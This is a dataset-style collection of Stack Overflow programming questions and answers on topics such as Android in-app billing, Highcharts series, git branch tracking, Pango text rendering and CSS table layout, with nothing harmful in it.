5814130	0	 <p>i have found the answer to my question. the solution was there lying in my question but at first i was not able to find it. solution was very simple when i wrote i want to use</p> <pre><code>UiApplication.getUiApplication().getActiveScreen() </code></pre> <p>that was almost the right way and i was proceeding in right direction but the thing that i was missing was " I was not casting the screen (that i have just retrieved form the stack top ) to its type only thing i should have done is "should have casted screen to its type.like this</p> <pre><code>UiApplication.getUiApplication().posScreen(this) (MyScreen1) UiApplication.getUiApplication().getActiveScreen() </code></pre> <p>now i am able to access all the fields on the retrieved screen (MyScreen1)</p> <p>things to keep in mind </p> <ol> <li>make sure u cast the screen to its type only otherwise bb will give u resource not found error</li> </ol> <p>Benifits of using screen on Stack</p> <ol> <li>u can use already created screen from the stack no need to create new one</li> <li>if u will create new screen it will be stacked in memory and will consume more and more memory even if its of no use ( make habit to pop the screen if it is of no use instead of leaving it on stack))</li> <li>no need to create any static variable since u will be able to set all the field right away from other screen</li> </ol>
12976403	0	 <p>Since you are showing the child form as a dialog, and the parent form doesn't need it until the form as closed, all you need to do is add a property with a public getter and private setter to the child form, set the value in the child form whenever it's appropriate, and then read the value from the main form after the call to <code>ShowDialog</code>.</p>
10185165	0	FaceBook UI is not populating multiple friends selected <p>I am using an FB.ui 'apprequests' method to select friends,and it is happening. Then i am redirecting from there to a Send Message pop up (FB.ui 'send' method). Before, the 'To:' section in the pop up was populating multiple friends. But now its showing only the first selected friend.Your suggestions are welcome.</p> <p>The code looks like this,</p> <pre><code>$('#sendinvite').click(function () { FB.ui ({ method: 'apprequests', message: "sds" },send_Message); }); function send_Message(response) { var eventName = 'Event Name'; var varMessage ="You are invited for " + eventName; console.log(response.to); FB.ui ({ method: 'send', to: response.to, name: 'People Argue Just to Win', description: varMessage, link: 'http://www.techvantagesystems.com' }); } </code></pre>
14367196	0	WM_PAINT Bitblitting multiple times? <p>This is for C++ - win32. Basically I've loaded an image (bmp) into a HBITMAP from a file and bitblitted it to the device context for the main window.</p> <p>How would I call it again in case I want to change the image?</p> <p>I've called InvalidateRectangle() and UpdateWindow() but that causes the window controls to flicker.</p>
5112552	0	 <p>According to <a href="http://en.wikipedia.org/wiki/Q-learning" rel="nofollow">Wikipedia</a>, gamma has to be strictly less than one.</p>
30429279	0	 <p>Sorry, I just disabled line wrapping on the tooltip by using the <code>white-space</code> in the css file and then checked if the tooltip isn't visible by the jQuery <code>$("#element").visible()</code> and changed positions with css from the JS file :)</p>
28873015	0	 <p>I had the similar problem, I did the same as you have done and was getting 404 error for the PNG. When reviewed the other requests that are made, I came up with, you must pass the "package name" in the parameter logo as well. </p> <p>Just as;</p> <pre><code>$scope.image = { logo: 'system/assets/img/logo.png' }; </code></pre> <p>Than the logo is displayed as desired</p>
28447945	0	 <p>method 1.you can use load data command </p> <pre><code>http://blog.tjitjing.com/index.php/2008/02/import-excel-data-into-mysql-in-5-easy.html </code></pre> <p>method 2. Excel reader</p> <p><a href="https://code.google.com/p/php-excel-reader/" rel="nofollow">https://code.google.com/p/php-excel-reader/</a></p> <p>method 3. parseCSV</p> <pre><code>https://github.com/parsecsv/parsecsv-for-php </code></pre> <p>method4. (PHP 4, PHP 5) fgetcsv</p> <pre><code> http://in1.php.net/fgetcsv </code></pre>
37004827	0	 <p>You need to lerp (linearly interpolate) between the two textures. Your fragment shader needs to hold both textures and then trigger lerping once you load the second texture, the one that you want to change to. Than use operation like <code>col = fromTex.rgb * (1.0-t) + toTex.rgb * t</code> and change the blending/lerping coefficient <code>t</code> throughout the time until you completely blend into the second texture. <code>t</code> can be sent as a uniform that would be slowly changing from the <code>0.0-&gt;1.0</code> over the time.</p>
21932574	0	From second time "In app purchase" throwing exception in android <p>I Am trying to include in app purchase and i have successfully through in showing up SKUs available.Now I want to make a fake purchase.So I used appId = "android.test.purchased". For the first time it worked flawlessly, but from next it is throwing exception as below.</p> <p>Attempt to invoke virtual method 'android.content.IntentSender android.app.PendingIntent.getIntentSender()' on a null object reference</p> <p>Has any body come across such situation?Please help out.</p> <pre><code>package com.inappbilling.poc; import java.util.ArrayList; import org.json.JSONObject; import android.app.Activity; import android.app.PendingIntent; import android.content.ComponentName; import android.content.Context; import android.content.Intent; import android.content.ServiceConnection; import android.os.Bundle; import android.os.IBinder; import android.util.Log; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import com.android.vending.billing.IInAppBillingService; public class TestInAppPurchase extends Activity { private final static String SERVICE_INTENT = "com.android.vending.billing.InAppBillingService.BIND"; private static final String _TAG = "BILLING ACTIVITY"; private final String _testSku = "android.test.purchased"; //available skus static final String SKU_7DAYS = "7days"; static final String SKU_30DAYS = "30days"; private Button _7daysPurchase = null; private Button _30daysPurchase = null; private IInAppBillingService _service = null; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Log.d(_TAG, "created"); _7daysPurchase = ( Button ) findViewById(R.id.sevendays_btn); _30daysPurchase = ( Button ) findViewById(R.id.thirtydays_btn); _7daysPurchase.setOnClickListener(_purchaseListener); _30daysPurchase.setOnClickListener(_purchaseListener); } @Override protected void onStart() { super.onStart(); } OnClickListener _purchaseListener = new OnClickListener() { @Override public void onClick(View v) { switch ( v.getId() ) { case R.id.sevendays_btn: doPurchase(); break; case R.id.thirtydays_btn: break; } } }; private ServiceConnection _serviceConnection = new ServiceConnection() { @Override public void onServiceConnected(ComponentName name, IBinder service) { _service = IInAppBillingService.Stub.asInterface( service ); Log.d(_TAG, _service.toString()); } @Override public void onServiceDisconnected(ComponentName name) { _service = null; Log.d(_TAG, "destroyed"); } }; private void doPurchase(){ if ( _service == null) { Log.e( _TAG , "Billing failed: billing service is null "); return; } ArrayList testSku = new ArrayList( ); testSku.add( _testSku ); Bundle querySkus = new Bundle(); querySkus.putStringArrayList("ITEM_ID_LIST", testSku); Bundle skuDetails ; try { skuDetails = _service.getSkuDetails(3, getPackageName(), "inapp", querySkus); int response = skuDetails.getInt("RESPONSE_CODE"); if( response == 0 ){ ArrayList&lt;String&gt; responseList = new ArrayList&lt;String&gt;( ); responseList = skuDetails.getStringArrayList("DETAILS_LIST"); for( String responseString : responseList ) { JSONObject jobj = new JSONObject( responseString ); String sku = jobj.getString("productId"); if( sku.equals( _testSku )){ Bundle buyIntentBundle = _service.getBuyIntent(3, getPackageName(), sku ,"inapp","" ); PendingIntent pendingIntent = buyIntentBundle.getParcelable("BUY_INTENT"); startIntentSenderForResult(pendingIntent.getIntentSender(), 1001, new Intent(), Integer.valueOf(0), Integer.valueOf(0), Integer.valueOf(0)); } } } else { Log.e( _TAG , "Failed " ); } } catch (Exception e) { Log.e( _TAG, "Caught exception !"+ e.getMessage() ); } } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { if(requestCode == 1001 ){ String purchaseData = data.getStringExtra("INAPP_PURCHASE_DATA"); if( resultCode == RESULT_OK ){ try{ JSONObject jobj = new JSONObject( purchaseData ); String sku = jobj.getString(_testSku); String paid = jobj.getString("price"); Log.v("SKU DATA", sku +"============"+ paid); }catch( Exception e) { e.printStackTrace(); } } } } @Override protected void onDestroy() { super.onDestroy(); if( _serviceConnection != null ){ unbindService( _serviceConnection ); } } } </code></pre>
21252288	0	 <p>You can't call any method from service before it connected. So, you can:</p> <p>1) add progress dialog "Connecting service..." on activity's start</p> <p>2) hide progress dialog after service connected and call placeCallWithOption() from onServiceConnected() (not early).</p>
29214004	0	Change the color of the series line dynamically by month <p>I have a series from Jan - Dec, the requirement is to update the last data point to grayscale colors. So I have created additional data series assigning grayscale colors to the series. Can I be able to join the colored series with grayscale colored series</p> <p><a href="http://jsfiddle.net/hgj7sfhp/33/" rel="nofollow">http://jsfiddle.net/hgj7sfhp/33/</a></p> <p>for example, London colored and London grayscale should be joined, like continuouss series after November, without any break in the series. I have London &amp; Berlin in December points in the chart, but i wanted to attached to the colored series, is it possible ?</p> <p>Also group the legend of colored series and grayscale series.</p> <p>London, Berlin</p> <p>LondonGray, BerlinGray</p> <pre><code>$(function () { var grayblue = '#1D1D1D'; var grayred = '#4C4C4C'; dataLondon = [ 48.9, 38.8, 39.3, 41.4, 47.0, 48.3, 59.0, 59.6, 52.4, 45.6, 90.4]; dataBerlin = [ 42.4, 33.2, 34.5, 39.7, 52.6, 75.5, 57.4, 60.4, 47.6, 23.6, 29.1] highcharts(dataLondon, dataBerlin, 0); function highcharts(dataLondon, dataBerlin, number) { $('#container').highcharts({ chart: { type: 'line' }, title: { text: 'Monthly Average Rainfall' }, subtitle: { text: 'Source: WorldClimate.com' }, xAxis: { categories: [ 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec' ], plotBands: { color: 'Red', from: 10.5, to: 10.55, label: { text: 'I am label' } } }, yAxis: { min: 0, title: { text: 'Rainfall (mm)' } }, tooltip: { headerFormat: '&lt;span style="font-size:10px"&gt;{point.key}&lt;/span&gt;&lt;table&gt;', pointFormat: '&lt;tr&gt;&lt;td style="color:{series.color};padding:0"&gt;{series.name}: &lt;/td&gt;' + '&lt;td style="padding:0"&gt;&lt;b&gt;{point.y:.1f} mm&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;', footerFormat: '&lt;/table&gt;', shared: true, useHTML: true }, colors: ['#0000FF', '#FF0000'], plotOptions: { column: { pointPadding: 0.2, borderWidth: 0 } }, series: [{ name: 'London', data: dataLondon }, { name: 'Berlin', data: dataBerlin }, { name: 'London', data: [null,null,null,null,null,null,null,null,null,null,null,10], color: '#1D1D1D' }, { name: 'Berlin', data: [null,null,null,null,null,null,null,null,null,null,null, 51.1], color: '#4C4C4C' }] }); } }); </code></pre>
28422790	0	 <p>Per <code>ngInfiniteScroll</code>'s test case of <a href="https://github.com/sroze/ngInfiniteScroll/blob/master/test/spec/ng-infinite-scroll.spec.coffee#L115" rel="nofollow">infinite-scroll-immediate-chec</a>, If this parameter is set as <code>true</code> (the default value), meanwhile the directive's element can not fill up the browser window' height, it will trigger a <code>loadMore()</code> immediately even you don't scroll your window at all. And this action will only be triggered once, therefor if there are 3 three tiny results on first load and they don't reach the bottom, function <code>loadMore()</code> won't be triggered until you scroll the window.</p> <p>While if this parameter is set as false, you have to trigger the first call of <code>loadMore</code> manually or programmably.</p>
26627576	0	 <p>On Android 5.0 this has changed, you have to call setElevation(0) on your action bar. Note that if you're using the support library you must call it to that like so:</p> <pre><code>getSupportActionBar().setElevation(0); </code></pre> <p>It's unaffected by the windowContentOverlay style item, so no changes to styles are required </p>
19718770	0	 <p>Perhapse this is what you're looking for:</p> <pre><code>a = [[4, 3, 2, 1], [5, 6, 7, 8], [12, 11, 10, 9]] [sorted(list) for list in a] </code></pre> <p>Returns: <code>[[1, 2, 3, 4], [5, 6, 7, 8], [9, 10, 11, 12]]</code></p> <p>Or, if you additionally want to sort by the first element:</p> <pre><code>a = [[4, 3, 2, 1], [12, 11, 10, 9], [5, 6, 7, 8]] sorted([sorted(list) for list in a], key=min) </code></pre> <p>Also returns: <code>[[1, 2, 3, 4], [5, 6, 7, 8], [9, 10, 11, 12]]</code></p>
22064095	1	fast system calls in R <p>I have a nest for loop inside which I run a python script using the system call option in R, I found that all the execution time of my code is spent just on the system call in order to run the python script, so I was wondering if there is any tricks that I can use to save this great loss of time spent on repeatedly using the system call especially cause the python script in itself only take 1 second per each call, the problem is that I can't run the .py script independently cause I's using some parameters generated by other parts in R. here is a snapshot of my code and any suggestion is highly appreciated:</p> <pre><code> for(x in 1:10000){ ....... for (y in 1:10000){ ..... x=system("python calc.py -c1 -c2",intern = TRUE) } } </code></pre>
18638692	0	Gradient Filling a PNG with Quartz <p>How can I fill the non-transparent areas of a PNG UIImage with a linear gradient? I'd like to reuse a PNG shape for MKAnnotationViews, but change the gradient per annotation's properties.</p>
29734434	0	 <p>If you want to send a parameter to another page, then you need to set the url and query string in the href tag of an a tag.</p> <p>For example:</p> <pre><code>&lt;a id="myatag" href=""&gt; &lt;!-- Whatever you want the user to click--&gt; &lt;/a&gt; </code></pre> <p>and the js:</p> <pre><code>document.getElementById("myatag").href = "OrderPrint.html?image=" + "sniperImg" + i; </code></pre> <p>Then, you can retrieve the name of the image on the server side script, and append ".jpg" or whatever extension you are using. For example, in PHP:</p> <pre><code>$image = "VideoImages/" + $_GET["image"] + ".jpg"; </code></pre>
10223043	0	 <p>I think you missed 2 quotes and a +.</p> <p>$('input[name=choices' + k + ']').val();</p>
38074230	0	 <p>You can match number with decimals only or numbers with integer and decimal parts:</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>for (var x in arr = ["ZAR 200.15", "300.0", "1.02", "29.001", "10"]) { // decimal part only console.log(x, arr[x].match(/(\d+)(\.\d+)?/g)) // integer + decimal part console.log(x, arr[x].match(/(\d+\.\d+)/g)) }</code></pre> </div> </div> </p>
36007311	0	 <p>Give a try to below AFNetworking snippet,</p> <pre><code>+(void)downloadImageFromUrl:(NSURL*)url forImageView:(UIImageView*)imageView { NSURLRequest *urlRequest = [NSURLRequest requestWithURL:url]; AFHTTPRequestOperation *requestOperation = [[AFHTTPRequestOperation alloc] initWithRequest:urlRequest]; requestOperation.responseSerializer = [AFImageResponseSerializer serializer]; [requestOperation setCompletionBlockWithSuccess:^(AFHTTPRequestOperation *operation, id responseObject) { [imageView setImage: responseObject]; } failure:^(AFHTTPRequestOperation *operation, NSError *error) { NSLog(@"Image error: %@", error); }]; [requestOperation start]; } </code></pre>
29690401	0	 <p>Try this in the place of while loop:</p> <pre><code>&lt;?php $res = mysqli_query($conn,"select * from dept_manager"); echo"dept_manager"; echo "&lt;table&gt;"; while($row=mysqli_fetch_assoc($res)) { echo "&lt;tr&gt;&lt;td&gt;" . $row['emp_no'] . "&lt;/td&gt;&lt;td&gt;" . $row['dept_no'] . "&lt;/td&gt;&lt;td&gt;" . $row['from_date'] . "&lt;/td&gt;&lt;td&gt;" . $row['to_date'] . "&lt;/td&gt;&lt;/tr&gt;"; } echo "&lt;/table&gt;"; ?&gt; </code></pre>
6678622	0	 <p>Others have already told you that what you've asked for isn't possible, as HTML attributes must be plain text, not more HTML.</p> <p>They've also told you that there are Javascript and JQuery libraries which will help you do what you're wanting to do. There are loads of scripts you could use, here's a link to one that you might want to try: <a href="http://bassistance.de/jquery-plugins/jquery-plugin-tooltip/" rel="nofollow">http://bassistance.de/jquery-plugins/jquery-plugin-tooltip/</a></p> <p>However, I feel I should add one further point which others have missed, and which is actually quite important:</p> <p><strong>You're using the wrong attribute.</strong></p> <p>The <code>alt</code> attribute is <em>not</em> the correct attribute to use for a hover tooltip effect. You should be using the <code>title</code> attribute for this.</p> <p>Using <code>alt</code> works this way for historic reasons in some browsers (I believe it works in IE, but not much else), but it is <em>not</em> intended as a tooltip. The correct use of <code>alt</code> is for a small bit of descriptive text that will appear if the image is not loaded. This could be because the file failed to load, or the user has images turned off, or the user has a text-to-speech browser, etc, but if the image is displayed, then this text should never be displayed.</p> <p>The <code>title</code> attribute on the other hand is intended to be displayed, and all browsers implement it as a tooltip (in fact, it's not just on <code>&lt;img&gt;</code> tags; you can use <code>title</code> for <em>any</em> element).</p> <p>Hope that helps.</p>
25470471	0	 <p>Instead of checking null try below code</p> <pre><code> Windows.Storage.ApplicationDataContainer localSettings = Windows.Storage.ApplicationData.Current.LocalSettings; if (!localSettings.Values.ContainsKey("waslaunched")) { localSettings.Values.Add("waslaunched", "launched"); } </code></pre> <p>Hope this helps!</p>
39856051	0	 <p>Since you're using PS3+, instead of joining the lines (it's slow), read the file as one string via <code>-Raw</code>:</p> <pre class="lang-ps prettyprint-override"><code>$content = Get-Content $filepath -Raw | ConvertFrom-Json </code></pre> <ul> <li><p>Filtering by name, showing contents without name:</p> <pre class="lang-ps prettyprint-override"><code>$name = 'Child1' $content.Root.$name | ConvertTo-Json </code></pre> <p>In PS2.0:</p> <pre class="lang-ps prettyprint-override"><code>$content.Root | Select -expand $name | ConvertTo-Json </code></pre></li> <li><p>Filtering by name, showing name and contents:</p> <pre class="lang-ps prettyprint-override"><code>$name = 'Child1' ($content.Root | select $name | ConvertTo-Json) -replace '^.|.$','' </code></pre></li> <li><p>Filtering by <code>Id</code>, showing contents:</p> <pre class="lang-ps prettyprint-override"><code>$content.Root | ForEach { $_.PSObject.Properties.Value | Where Id -eq 2 } | ConvertTo-Json </code></pre></li> <li><p>Filtering by <code>Id</code>, showing name and contents of the node:</p> <pre class="lang-ps prettyprint-override"><code>($content.Root | ForEach { $_.PSObject.Properties | Where { $_.Value.Id -eq 2 } | ForEach { @{$_.Name = $_.Value} } } | ConvertTo-Json ) -replace '^.|.$','' </code></pre></li> </ul>
21924406	0	 <p>I believe there are a few questions asked, so I will answer them accordingly in the comments:</p> <blockquote> <ol> <li>I'd like the label to display the current selection of the date picker</li> <li>updating every time the date picker is adjusted</li> <li>in the format as the following, Sunday 9th February 2014 14:00</li> <li>set the picker so that users can only choose a date and time in the future, nothing from the past!</li> </ol> </blockquote> <pre><code>//declared as a property UIDatePicker *dateTimePicker; NSDateFormatter *dateFormatter; UILabel *lblDateDisplay; NSDate *selectedDate; //in your viewdidload dateFormatter = [[NSDateFormatter alloc] init]; dateTimePicker = [[UIDatePicker alloc]initWithFrame:CGRectMake(0, 0, 300, 220)]; //whatever you want it, I am just listing an example [dateTimePicker setDatePickerMode:UIDatePickerModeDateAndTime]; [dateTimePicker setHidden:NO]; [dateTimePicker setDate:[NSDate date]]; [dateTimePicker setMinimumDate: [NSDate date]]; //no.4 [dateTimePicker addTarget:self action:@selector(dateChangedValue) forControlEvents:UIControlEventValueChanged]; //no.2 //create another method called, dateChangedValue - (void) dateFromChangedValue { selectedDate = dateTimePicker.date; [dateFormatter setDateFormat:@"EEEE dd MMM YYYY HH:mm"]; //no.3 lblDateDisplay.text = [NSString stringWithFormat:@"%@", [dateFormatter stringFromDate:selectedDate]; //no.1 } </code></pre> <p>There, I am done. I guess you could try these codes.</p>
137750	0	 <ol> <li><p>Get the query text of your view.</p> <pre><code>SELECT text FROM dba_views WHERE owner = 'the-owner' AND view_name = 'the-view-name'; </code></pre></li> <li><p>Parse. Search for view names within the query text.</p></li> <li><p>Get the query text for each view name found. (see item 1.)</p></li> <li><p>Replace each view name in the query with the related query text.</p></li> <li><p>Do this recursively until there are no more views found.</p></li> </ol> <p>Easy?</p> <p><strong>EDIT:</strong> The above instructions do not do everything required. Thinking about this a little more it gets hairy, grows legs, and maybe another arm. Finding column names, and column names that might be elaborate functions and subqueries. Bringing it all back together with the joins and clauses. The resulting query might look very ugly.</p> <p>Somewhere within Oracle there may be something that is actually unwrapping a view. I don't know. I am glad I didn't use views that much in Oracle.</p>
17097342	0	 <p>The ODP.NET managed data provider does not support code-first development with the Entity Framework. From its readme.txt in odp.net/doc under the oracle client dir:</p> <p>"7. ODP.NET 11.2.0.3 does not support Code First nor the DbContext APIs."</p> <p>You'll have to use the model-first or database-first approach.</p>
40716909	0	 <p>I suggest kind of <em>meet in the middle</em> algorithm:</p> <pre><code> A[i] + B[j] + C[k] + D[l] = 0 </code></pre> <p>actually means to find out <code>A[i] + B[j]</code> and <code>C[k] + D[l]</code> such that</p> <pre><code> (A[i] + B[j]) == (-C[k] - D[l]) </code></pre> <p>We can put all possible <code>A[i] + B[j]</code> sums into a <em>dictionary</em> and then, in the loop over <code>-C[k] - D[l]</code>, try to look up in this dictionary. You can implement it like this:</p> <pre><code> private static int FourSumCount(int[] A, int[] B, int[] C, int[] D) { // left part: all A[i] + B[j] combinations Dictionary&lt;int, int&gt; left = new Dictionary&lt;int, int&gt;(); // loop over A[i] + B[j] combinations foreach (var a in A) foreach (var b in B) { int k = a + b; int v; if (left.TryGetValue(k, out v)) left[k] = v + 1; // we have such a combination (v of them) else left.Add(k, 1); // we don't have such a combination } int result = 0; // loop over -C[k] - D[l] combinations foreach (var c in C) foreach (var d in D) { int v; if (left.TryGetValue(-c - d, out v)) result += v; } return result; } </code></pre> <p>As you can see, we have <code>O(|A| * |B| + |C| * |D|)</code> complexity; in case <code>A</code>, <code>B</code>, <code>C</code> and <code>D</code> arrays have the approximately equal sizes <code>N</code> the complexity is <code>O(N**2)</code>.</p>
3396872	0	 <p>One solution is to use <a href="http://library.gnome.org/devel/pango/stable/" rel="nofollow noreferrer">pango</a>'s cairo bindings. Using it could get quite confusing really fast so here's a essentials. You could create class around it in C++ if you want.</p> <pre><code>#include &lt;pango/pangocairo.h&gt; // Pango context PangoContext* pangoContext = pango_font_map_create_context( pango_cairo_font_map_get_default()); // Layout and attributes PangoLayout* pangoLayout = pango_layout_new(pangoContext); pango_layout_set_wrap(pangoLayout, PANGO_WRAP_WORD_CHAR); pango_layout_set_width(pangoLayout, maxWidth * PANGO_SCALE); pango_layout_set_height(pangoLayout, maxHeight * PANGO_SCALE); // Set font PangoFontDescription* fontDesc = pango_font_description_from_string("Verdana 10"); pango_layout_set_font_description(pangoLayout, fontDesc); pango_font_description_free(fontDesc); // Set text to render pango_layout_set_text(pangoLayout, text.data(), text.length()); // Allocate buffer const cairo_format_t format = CAIRO_FORMAT_A8; const int stride = cairo_format_stride_for_width(format, maxWidth); GLubyte* buffer = new GLubyte[stride * maxHeight]; std::fill(buffer, buffer + stride * maxHeight, 0); // Create cairo surface for buffer cairo_surface_t* crSurface = cairo_image_surface_create_for_data( buffer, format, maxWidth, maxHeight, stride); if (cairo_surface_status(crSurface) != CAIRO_STATUS_SUCCESS) { // Error } // Create cairo context cairo_t* crContext = cairo_create(crSurface); if (cairo_status(crContext) != CAIRO_STATUS_SUCCESS) { // Error } // Draw cairo_set_source_rgb(crContext, 1.0, 1.0, 1.0); pango_cairo_show_layout(crContext, pangoLayout); // Cleanup cairo_destroy(crContext); cairo_surface_destroy(crSurface); g_object_unref(pangoLayout); g_object_unref(pangoContext); // TODO: you can do whatever you want with buffer now // copy on the texture maybe? delete[] buffer; </code></pre> <p>In this case buffer will contain 8 bit alpha channel values only. Fiddle with format variable if you want something else. Compiling... <code>pkg-config --cflags --libs pangocairo</code> should do it on linix. I have no idea about windows.</p>
14136639	0	 <p>Yes, you might run into trouble. See this link for how to solve your problem.</p> <p><a href="http://stackoverflow.com/questions/4333390/service-are-constructed-twice">@Service are constructed twice</a></p> <p>The way you proceed when creating modules seems valid to me. You have a context.xml file for each module and all will get loaded once you load the application. Your modules are self-contained and can also be used in different environments. That's pretty much the way I'd also do it.</p>
10051688	0	 <p>A local branch can only track a remote branch for pushing if the local and remote branches have the same name. For pulling, the local branch need not have the same name as the remote branch. Interestingly, if you setup a branch 'foo' to track a remote branch 'origin/bar' (with 'git branch foo origin/bar') and if the remote repository <strong>does not</strong> currently have a branch named 'foo', then if later the remote does get a branch named foo, then the local branch foo will track origin/foo thereafter!</p> <pre><code>$ git clone dev1 dev2 Cloning into 'dev2'... done. $ cd dev2 # # After clone, local master tracks remote master. # $ git remote show origin * remote origin Fetch URL: /Users/ebg/dev1 Push URL: /Users/ebg/dev1 HEAD branch: master Remote branch: master tracked Local branch configured for 'git pull': master merges with remote master Local ref configured for 'git push': master pushes to master (up to date) # # Create branch br1 to track origin/master # $ git branch br1 origin/master Branch br1 set up to track remote branch master from origin. # # br1 tracks origin/master for pulling, not pushing # $ git remote show origin * remote origin Fetch URL: /Users/ebg/dev1 Push URL: /Users/ebg/dev1 HEAD branch: master Remote branch: master tracked Local branches configured for 'git pull': br1 merges with remote master master merges with remote master Local ref configured for 'git push': master pushes to master (up to date) # # Go to the origin repo and now create a new 'br1' branch # $ cd ../dev1 $ git checkout -b br1 Switched to a new branch 'br1' # # Go back to dev2, fetch origin # $ cd ../dev2 $ git fetch origin From /Users/ebg/dev1 * [new branch] br1 -&gt; origin/br1 # # Now local branch 'br1' is tracking origin/br1 for pushing # $ git remote show origin * remote origin Fetch URL: /Users/ebg/dev1 Push URL: /Users/ebg/dev1 HEAD branch (remote HEAD is ambiguous, may be one of the following): br1 master Remote branches: br1 tracked master tracked Local branches configured for 'git pull': br1 merges with remote master master merges with remote master Local refs configured for 'git push': br1 pushes to br1 (up to date) master pushes to master (up to date) </code></pre> <p>So br1 was originally supposed to pull/push from master and we end up with br1 pulling from origin/master and pushing to a branch we never knew existed.</p>
17413697	0	 <pre><code>def self.find_by_foo_templates(foo_template_ids) joins(:foos =&gt; :foo_template).where(['foo_templates.id in (?)', foo_template_ids.reject!(&amp;:empty?)]) end </code></pre>
19828260	0	 <p>You are getting all 1s because the loop initialization statement <code>int c= x*y</code> will be executed only once for a <code>for</code> loop. That is it is executed the first time when <code>x=1</code> and <code>y=1</code> and since, it is given as the loop initialisation statement and not in the loop body, it is never reevaluated. The for loop works as :</p> <p>The loop initialisation statement is executed only once at the beginning of the loop. After each iteration the loop update expression is executed and the loop condition is reevaluated. <code>for(loop_initialisation;loop_condition;loop_update) { ... }</code></p> <p>So you should update <code>c</code> inside the loop, something like :</p> <pre><code>for ( int c= x*y; y&lt;= 12; y++) { c = x*y; System.out.print(c + " "); } </code></pre>
21934217	1	Relocate mouse cursor on screen <p>I am using Python and PyCharm. In my script I am trying to move the mouse to the top corner of the screen ((0,0) I think).</p> <p>I googled and found uinput however got this when trying to install it using:</p> <pre><code>sudo pip install python-uinput </code></pre> <p>I get the following error:</p> <pre><code>/usr/bin/ld: cannot find libudev.so.0 collect2: error: ld returned 1 exit status error: command 'x86_64-linux-gnu-gcc' failed with exit status 1 ---------------------------------------- Cleaning up... </code></pre> <p>I do have libudev installed and the cosponsoring headers. </p> <p>Some advice would be very appreciated! </p> <p>Maybe even another simple way to move the mouse to the top left corner as I am still very inexperienced. </p>
29651029	0	 <p>If i'm not getting your question wrongly, your question mysql solution would be <a href="http://stackoverflow.com/a/12114021/1728836">Get top n records for each group of grouped results</a></p> <p>But when we convert our desire query to laravel, so its will look alike:</p> <pre><code>$Rating1 = Model::whereRating(1)-&gt;take(10); $Rating2 = Model::whereRating(2)-&gt;take(10); $Rating3 = Model::whereRating(3)-&gt;take(10); $result = Model::unionAll($Rating1)-&gt;unionAll($Rating2)-&gt;unionAll($Rating3)-&gt;get(); </code></pre> <p>And its also one query not multiple as per laravel 4.2 docs, If you still confuse to implement it, let me know.</p>
24816042	0	CSS - Table mode how to display correctly? <p>Good night stackoverflow community! </p> <p>I'm trying to create a table-like model using CSS but having hard time to figure it out. It's a table with text and some images on each row, I've tried the <em>display: table</em> property but got no success on making rows and cells. What I'm trying to do is as follows:</p> <p><img src="https://i.stack.imgur.com/GWOh8.png" alt="Simple to make on paint, sweating to turn CSS"></p> <p>I've tried to apply this css I created to make it at least a table but got no success. Is there anything else I have to put in my css? I really don't want to use tables.</p> <pre><code>#tabelona { display: table; } #linha { display: table-row; } #conteudo { display: table-cell; } </code></pre> <p>Here's the HTML part, I'm just using text first:</p> <pre><code> &lt;div id="tabelona"&gt; &lt;div id="linha"&gt; &lt;div id="conteudo"&gt;1.&lt;/div&gt; &lt;div id="conteudo"&gt;OK&lt;/div&gt; &lt;/div&gt; &lt;div id="linha"&gt; &lt;div id="conteudo"&gt;2.&lt;/div&gt; &lt;div id="conteudo"&gt;OK Too&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>Thank you very much! </p>
20698019	0	 <pre><code>var fs = require('fs') function(req, res) { var id = req.param('id') fs.exists('/private/img/'+id, function(exists) { if(exists) res.sendfile('/private/img/'+id) else res.end('err') }) } </code></pre>
7009356	0	 <p>Not very elegant solution too, but also works and do not require recreating array. Also, you can access the element value.</p> <pre><code>$array = (array)json_decode('{"123":100}'); $array_keys = array_keys($array); $array = (object)$array; foreach ($array_keys as $key) { if (!isset($array-&gt;$key)) { print "What is happening here?"; } else { print "It's OK val is {$array-&gt;$key}"; } } </code></pre> <p>Note <code>$</code> before key in <code>$array-&gt;$key</code>, it is important.</p>
31275378	0	 <p>If you can use a library like underscore or lodash (or recreate the methods used here) it can be done like so: </p> <pre><code>var attributes = ['fruit', 'color']; var fruits = ['apple', 'orange', 'banana']; var colors = ['red', 'orange', 'yellow']; //Combine arrays in to list of pairs //(this would be expanded with each new array of attribute values) //ORDER IS IMPORTANT var zipped = _.zip(fruits, colors); //Map the zipped list, returning an object based on the keys. //Remember the order of the arrays in the zip operation //must match the order of the attributes in the attributes list var result = _.map(zipped, function(item, index) { return _.object(attributes, item); }); console.log(result); </code></pre>
3817360	0	Where does PHP save temporary files during uploading? <p>I am using XAMPP on Windows. By printing <code>$_FILES["file"]["tmp_name"]</code>, it seems that the temporary file was saved at C:\xampp\tmp\phpABCD.tmp. But I cannot see it on the filesystem of the server. However, the file can be moved or copied via <code>move_uploaded_file()</code>, <code>rename()</code>, or <code>copy()</code>. So where does PHP actually save temporary files during uploading?</p>
5710706	0	 <p>I'm a total Haskell nube and this is a shot in the dark, but couldn't you use hscolour to output the code as HTML and then do something along the lines of <em>cabal haddock --executables --hyperlink-source</em> to include the colorized HTML?</p>
10277401	0	Generating all possible permutations for a given base and number of digits <p>I'm sure this is pretty simple, but I'm stumped for a way to do this. Essentially if I have an array with P collumns and V^P rows, how can I fill in all the combinations, that is, essentially, all possible numbers in base V of P digits. For example, for P=3 and V=2:</p> <pre><code>000 001 010 011 100 101 110 111 </code></pre> <p>Keep in mind that this is an 2 dimensional array, not an array of ints.</p> <p>For P=4 and V=3.</p> <pre><code>0000 0001 0002 0010 0011 0012 .... </code></pre> <p>Having this array generated, the rest of work for what I'm trying to devolop is trivial. So having some code/tips on how to do this would be greatly appreciated. Thanks.</p>
